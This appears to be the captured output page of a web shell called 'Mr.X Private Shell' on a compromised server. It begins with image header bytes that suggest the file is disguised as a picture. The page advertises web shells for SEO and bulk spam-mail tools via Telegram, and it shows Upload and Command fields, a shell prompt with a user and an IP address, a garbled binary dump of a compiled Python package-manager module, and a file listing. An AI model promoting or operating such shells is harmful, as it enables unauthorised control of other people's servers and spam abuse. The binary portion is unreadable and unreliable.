����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

"eZ�@stddlmZddlmZe��dkrpddlmZddlmZddl	m
Z
ddlZddlZddl
Z
Gd	d
�d
e�ZdS)�)�absolute_import)�SystemZdebian�)�IPackageManager)�Package)�PackagesCollectionNc@sDeZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dS)�Dpkgz"
		Package manager class - DPKG
		cKs
||_dS)N)Zopts)�self�kwargs�r�?/usr/lib/python3.9/site-packages/tracer/packageManagers/dpkg.py�__init__'sz
Dpkg.__init__cCsdS)Nz/var/log/dpkg.logr)r	rrr�dpkg_log*sz
Dpkg.dpkg_logcCs�t�}t|jd�}|D]h}|�d�}|ddkr2qt�t�|dd|dd��}||kr|d�d	�d}|�t||��q|S)
zp
			Returns list of packages which were modified between unix_time and present
			Requires root permissions.
			�r� �Zupgraderrz%Y-%m-%d %H:%M:%S��:)	r�openr�split�time�mktime�strptime�appendr)r	Z	unix_timeZnewer�log�lineZmodified�pkg_namerrr�packages_newer_than-s
��zDpkg.packages_newer_thancCsng}ttjd�}dd|g}tj|tj|d�}|��d}|���d�dd�D]}tj	�
|�rN|�|�qN|S)	z)Returns list of files provided by package�wz
dpkg-queryz-L)�stdout�stderrr�
N���)r�os�devnull�
subprocess�Popen�PIPE�communicate�decoder�path�isfiler)r	r�filesZfnull�command�process�out�filerrr�
package_filesDs
zDpkg.package_filescCsfd}tjdd|jgtjd�}|��d}|���d�}|D] }|�d�r:|�d�d��}q:||_	dS)	zFFrom database load informations about given package and set them to itNZdpkgz-s�rrr!zDescription:r)
r%r&�namer'r(r)r�
startswith�strip�description)r	�packager6r.r/rrrr�load_package_infoPs
zDpkg.load_package_infocCsLdd|jg}tj|tjd�}|��d}|���d�d}t|�d�d�S)z8Returns name of package which provides given applicationZdlocatez-Sr2rr!r)r3r%r&r'r(r)rr)r	Zappr-r.rrrr�provided_by^s
zDpkg.provided_byN)�__name__�
__module__�__qualname__�__doc__r
�propertyrrr1r8r9rrrrr s
r)Z
__future__rZtracer.resources.systemrZdistributionZipackageManagerrZtracer.resources.packagerZtracer.resources.collectionsrr%rr#rrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 158 B 0644
__init__.cpython-39.pyc File 158 B 0644
alpm.cpython-39.opt-1.pyc File 3.5 KB 0644
alpm.cpython-39.pyc File 3.5 KB 0644
dnf.cpython-39.opt-1.pyc File 1.57 KB 0644
dnf.cpython-39.pyc File 1.57 KB 0644
dpkg.cpython-39.opt-1.pyc File 2.79 KB 0644
dpkg.cpython-39.pyc File 2.79 KB 0644
ipackageManager.cpython-39.opt-1.pyc File 2.23 KB 0644
ipackageManager.cpython-39.pyc File 2.23 KB 0644
portage.cpython-39.opt-1.pyc File 3.49 KB 0644
portage.cpython-39.pyc File 3.49 KB 0644
rpm.cpython-39.opt-1.pyc File 6.38 KB 0644
rpm.cpython-39.pyc File 6.38 KB 0644
yum.cpython-39.opt-1.pyc File 689 B 0644
yum.cpython-39.pyc File 689 B 0644